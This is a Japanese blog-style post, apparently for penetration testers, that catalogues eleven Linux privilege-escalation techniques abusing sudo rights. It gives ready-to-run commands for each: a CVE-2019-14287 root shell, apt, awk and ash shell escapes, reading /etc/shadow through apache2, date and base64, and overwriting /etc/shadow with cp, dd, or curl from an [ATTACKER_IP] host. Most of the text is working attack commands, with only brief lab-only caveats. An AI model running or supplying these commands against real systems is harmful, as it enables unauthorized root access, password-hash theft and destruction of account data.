Linux 環境下での sudo 設定不備に起因する特権昇格シナリオ詳解

通常の利用者権限において sudo 設定を確認した際、特定のコマンドに対して実行権が付与されている状況は、セキュリティリスクとなり得ます。ここでは、許可されたコマンドの仕様や挙動を利用し、管理者権限へアクセスを試みる主要な手法について解説します。

1. バージョン固有の脆弱性(CVE-2019-14287)

対象となる sudo バージョンが 1.8.28 よりも古い場合、UID の解析ロジックに問題が存在します。任意のコマンドを指定して非ルートユーザとして実行できる設定であっても、特殊な引数を渡すことで uid が 0 と解釈される可能性があります。

sudo -u#-1 /bin/bash

上記のように負数を指定することで内部処理でゼロ値として扱われ、実質的にルートシェルを開始できます。

2. パッケージ管理ツールのオプション滥用

パッケージマネージャーである apt は、更新処理時にカスタムスクリプトを実行するフラグを持っています。この機能を転用してシェルを直接起動することが可能です。

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

3. 設定ファイルパースエラーからの情報漏洩

Web サーバソフト(apache2)などの設定ファイルとして機密ファイルを指定すると、構文エラーが発生する際に内容の一部を出力してしまいます。

sudo apache2 -f /etc/shadow

表示されるエラーログに含まれるハッシュ値を抽出し、オフラインで復号化する手法です。復号化に成功すれば暗号化されたパスワードを取得できます。

4. シェルインタプリタの直接起動

bash や ash などが sudo で実行可能な場合に限りなく単純な方法です。

sudo ash

ash も標準的なシェルであり、これにより権限引き継ぎが可能です。

5. テキスト処理ツールの関数呼び出し

awk というツールはスクリプト実行機能が備わっており、ここでシステムコマンドを呼び出す関数を利用します。

sudo awk 'BEGIN {exec_shell = "/bin/bash"; system(exec_shell)}'

6. エンコーディングツールの活用

base64 を通じてファイルを解码・再エンコードするプロセスを利用して、保護されたファイルの中身を閲覧する方法です。

sudo base64 /etc/shadow | base64 -d

7. コピー操作による設定ファイル置換

この方法は元の情報を上書きするため、運用系システムでの使用は避けるべきです。事前に生成したハッシュ付きパスワードデータを shadow ファイル形式に変換し、コピー命令で強制的に差し替えます。

# 新規パス作成および準備
TARGET_TMP=$(mktemp)
printf "root:%s:17298:0:99999:7:::\n" "$(openssl passwd -6 'SecurePass123')" > "$TARGET_TMP"

# 置換実行
sudo cp "$TARGET_TMP" /etc/shadow
rm "$TARGET_TMP"

既存の shadow ファイル内容は失われますが、指定したパスワードで root ログインが可能になります。

8. CPU 使用率制限ツールの活用

リソース制限を行う cpulimit はプロセスへのアタッチが行えるため、これをシェルプロセスに適用させる形をとります。

sudo cpulimit -l 100 -f /bin/bash

9. ネットワーク転送ツールのファイル保存

外部サーバーから用意した新しい shadow コンテンツをダウンロードし、ローカルの設定先へ保存します。これもデータ消去を伴う手法です。

# ローカルサーバー側(Kali など)での準備
echo "root:$6\$RandomSalt\$HashString:19870:0:99999:7:::" > /tmp/payload_shadow
php -S 0.0.0.0:8080 -t /tmp

# ターゲット実行
sudo curl http://[ATTACKER_IP]:8080/payload_shadow -o /etc/shadow

10. 日時設定コマンドのエラー解析

date コマンドにファイルを読み込ませるフラグを与えると、日付パース中にハッシュ値が含まれるエントリを表示します。

sudo date -f /etc/shadow

出力されたテキストからパスワードハッシュ部分を切り取り、クラッキングツールで処理を行います。

11. データ複製ツールのパイプ処理

dd コマンドは低レベルなブロックコピーが可能であり、標準入力をリダイレクトすることでファイル内容を直接上書きできます。

NEO_ROOT_ENTRY="root:\$6\$HashData:19870:0:99999:7:::"
echo "$NEO_ROOT_ENTRY" | sudo dd of=/etc/shadow conv=notrunc

注意すべき点として、この作業はシステム上の他のユーザアカウント情報を破壊するため、テスト環境でのみに限定してください。

タグ: linux sudo privilege-escalation Security penetration-testing

9月23日 17:02 投稿